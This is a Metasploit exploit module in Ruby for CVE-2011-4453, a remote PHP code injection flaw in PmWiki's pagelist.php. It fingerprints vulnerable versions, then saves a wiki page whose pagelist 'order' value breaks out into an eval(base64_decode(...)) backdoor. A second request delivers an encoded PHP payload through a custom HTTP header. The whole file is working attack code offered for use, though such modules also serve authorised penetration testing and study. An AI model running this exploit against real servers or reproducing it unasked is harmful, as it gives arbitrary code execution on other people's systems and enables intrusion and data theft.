##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'PmWiki pagelist.php Remote PHP Code Injection Exploit',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability
        in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
        inside /scripts/pagelist.php.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'EgiX',  # Vulnerability discovery and exploit
          'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2011-4453'],
          ['BID', '50776'],
          ['OSVDB', '77261'],
          ['EDB', '18149'],
          ['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Keys'        => ['php'],
          'Space'       => 4000,
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => 'Nov 09 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
      ])
  end

  def check
    uri = normalize_uri(datastore['URI'])
    uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'

    res = send_request_raw(
      {
        'uri' => uri
      }, 25)

    if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    p = Rex::Text.encode_base64(payload.encoded)
    header = rand_text_alpha_upper(3)
    header_append = rand_text_alpha_upper(4)

    uri = normalize_uri(datastore['URI'], "pmwiki.php")

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'vars_post' =>
        {
          'action' => 'edit',
          'post' => 'save',
          'n' => "#{header}.#{header_append}",
          'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
        }
      }, 25)

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => uri,
      'headers' =>
        {
          header => p,
          'Connection' => 'Close',
        },
      'vars_post' =>
        {
          'n' => "#{header}.#{header_append}",
        }
    }, 25)
  end
end
